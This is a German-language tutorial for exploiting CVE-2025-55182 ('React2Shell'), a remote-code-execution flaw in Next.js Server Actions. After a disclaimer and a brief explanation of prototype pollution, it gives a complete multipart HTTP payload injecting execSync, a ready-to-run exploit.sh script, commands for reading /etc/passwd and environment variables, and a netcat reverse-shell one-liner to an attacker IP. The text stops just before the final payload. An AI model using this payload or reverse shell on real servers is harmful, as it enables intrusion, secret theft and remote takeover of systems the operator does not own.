
CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Sicherheitslücke, die Next.js-Anwendungen betrifft, die React Server Components (RSC) und Server Actions verwenden.
⚠️ Haftungsausschluss: Diese Dokumentation dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die unbefugte Nutzung dieser Techniken gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast, ist illegal.
CVE-2025-55182, auch bekannt als React2Shell, ist eine kritische Schwachstelle, die Next.js-Anwendungen betrifft, die Folgendes verwenden:
Ein Angreifer kann eine Ausführung von Remote-Code (RCE) auf dem Server erreichen, indem er Folgendes ausnutzt:
__proto__ und constructorKonsequenz: Beliebige Systembefehle können mit den Rechten des Node.js-Prozesses ausgeführt werden.
Next.js verwendet ein eigenes Multipart/Form-Data-Protokoll für die Kommunikation zwischen Client und Server:
Client (Browser)
↓
[Multipart/Form-Data RSC-Nutzlast]
↓
Next.js-Server
↓
Deserialisierung + Ausführung
↓
Antwort
Die Schwachstelle besteht, weil:
__proto__, constructor)Ein Angreifer kann eine Nutzlast erstellen, die interne Objekt-Eigenschaften verändert:
{
"then": "$1:__proto__:then", // Zielt auf die Prototypenkette
"_response": {
"_prefix": "bösartiger Code hier" // Code-Injektion
}
}
Durch Ausnutzung von __proto__ verschmutzt der Angreifer den Prototyp von JavaScript-Objekten und wirkt sich so auf alle Objekte aus, die davon erben.
Im Feld _prefix injiziert der Angreifer JavaScript-Code, der:
process.mainModule.require()child_process lädtexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Das Befehlsergebnis wird in der Fehlerantwort versteckt:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js gibt diesen Fehler an den Client zurück, und die Befehlsausgabe ist im Feld digest sichtbar.
# PoC klonen
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Node.js 20 installieren
nvm install 20
nvm use 20
# Abhängigkeiten installieren
cd test-server
npm install
npm run dev
Der Server ist nun erreichbar unter:
http://localhost:3000
curl http://localhost:3000/
Zu diesem Zeitpunkt verhält sich der Server normal.
http://localhost:3000/ aufrufenEine GET-Anfrage wird abgefangen. Sende sie zum Tab Repeater:
Ersetze die gesamte Anfrage durch folgende Nutzlast:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Klicke Send
Erstelle eine Datei exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Nutzlast erstellen
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Befehl ersetzen
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Anfrage senden
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Ausführbar machen:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Um vollständigen interaktiven Shell-Zugriff zu erhalten, verwende eine Reverse Shell.
ncat -lvnp 9009
Oder mit netcat:
nc -lvnp 9009
Ändere die Nutzlast mit folgendem Befehl (ersetze <ATTACKER_IP> durch deine IP-Adresse):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
Die vollständige Nutzlast wird zu: